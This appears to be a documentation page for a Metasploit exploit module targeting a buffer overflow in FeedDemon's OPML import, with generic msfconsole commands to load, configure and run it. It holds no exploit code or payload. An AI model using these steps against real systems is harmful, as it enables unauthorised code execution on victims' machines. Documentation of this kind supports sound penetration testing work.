Description

This module exploits a buffer overflow in FeedDemon v3.1.0.12. When the application is used to import a specially crafted opml file, a buffer overflow occurs allowing arbitrary code execution. All versions are suspected to be vulnerable. This vulnerability was originally reported against version 2.7 in February of 2009.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/fileformat/feeddemon_opml
msf exploit(feeddemon_opml) > show targets
    ...targets...
msf exploit(feeddemon_opml) > set TARGET < target-id >
msf exploit(feeddemon_opml) > show options
    ...show and set options...
msf exploit(feeddemon_opml) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
